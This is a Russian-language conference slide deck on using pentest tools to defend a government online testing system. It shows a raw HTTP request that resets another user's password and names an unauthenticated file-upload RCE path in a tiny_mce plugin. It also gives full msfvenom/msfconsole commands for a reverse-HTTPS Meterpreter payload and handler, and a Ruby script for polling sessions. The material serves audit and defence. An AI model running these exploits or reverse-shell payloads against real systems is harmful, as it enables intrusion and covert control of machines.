Презентация с форума http://hackit-ukraine.com/
Николай Овчарук
Служба IT безопасности, Воля
Техники пентеста для активной защиты
О спикере: Занимается техническим аудитом, расследованием инцидентов, разработкой и внедрением средств защиты. Играет в CTF.
2. $ whoami
Николай Овчарук
● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP
● network security dcua CTF team
Николай Ильин
● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ”
● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team
● Email: m@infosec.kiev.ua
2
3. Содержание
1. Исходные данные
2. Задачи
3. Защита хостинга
4. Аудит системы тестирования
5. Solver
6. Контроль клиентских машин
7. Инциденты
8. Выводы
3
4. Исходные данные
● LEMP
● Веб-приложение на PHP
● Зоопарк из ~2k клиентских машин
● Открытый канал клиент-сервер
4
5. Задачи
● защита от вмешательства в процесс тестирования
● контроль целостности результатов тестирования
● обеспечение доступности системы
5
6. Защита хостинга
● Обновление системы
● IP-фильтрация
● Логирование на внешний независимый сервер
● Резервное копирование
6
7. Аудит системы тестирования
privilege escalation
POST /users/password/645 HTTP/1.1
Host: ***.gov.ua
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://***.gov.ua/users/update/645
Content-Length: 24
Cookie: PHPSESSID=l90s0ohv5v…04sqd23;
YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512
Connection: keep-alive
users%5Bpassword%5D=1234
HTTP/1.1 200 OK
7
8. Аудит системы тестирования
preauth remote code execution
Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без
аутентификации
http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
Эксплуатируется без дополнительных средств
8
18. Solver
~ 100 строк кода, 2 секунды и 100% результат
$ time ./gp_solver.py
session <Cookie PHPSESSID=... for zzz.gov.ua/>
logged in as K00000
...
5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218-
16952 6754:6763-27130 6370:6379-25593
test finished
RESULT 100%
./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total
В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address bar
Подсветка правильных решений
18
20. Контроль клиентских машин
● Терминальный доступ к системе тестирования
● Meterpreter для контроля процессов и не только
20
21. Контроль клиентских машин | Meterpreter
● Мониторинг системных процессов
● Printscreen, в случае подозрения на фрод
● Дамп памяти + volatility при анализе инцидентов
21
22. Контроль клиентских машин | Meterpreter
Пример генерации пейлоада:
$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true
HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe
Ждем подключений:
$ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem;
set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true;
set AutoRunScript multiscript -rc ./run.txt; exploit -j -z'
Контролируется целостность шеллкода при передаче, защита от MITM
22
25. Контроль клиентских машин | Meterpreter
Опрос всех машин:
<ruby>
framework.sessions.each do |num,session|
print_status("Session #{num}")
session.sys.process.get_processes().each do |x|
print_status(" #{num} = Process: #{x['pid']} #{x['name']}")
end
end
</ruby>
+ run winenum, сравнение конфигурации до и после начала теста
25
27. Инциденты
● Неполный физический контроль на местах, <1 представитель на
аудиторию (помощь волонтеров)
● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест,
принимается первое решение (детектируется в аудите логов)
● Разработчики пишут код после начала промышленного тестирования и
имеют доступ к БД (детектируется при сверке статистики)
27
28. Выводы
● Время промышленной эксплуатации системы и предыдущие пентесты не
гарантируют безопасность.
● как разработчики, так и предыдущие аудиторы могут оказаться идиотами
● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не
CTF — объективные оценки квалификации часто отсутствуют
● Многие технологии “атакующей стороны” могут быть полезны при
защите.
● средства вторжения для нагрузочного тестирования
● средства доступа для контроля оконечных устройств
28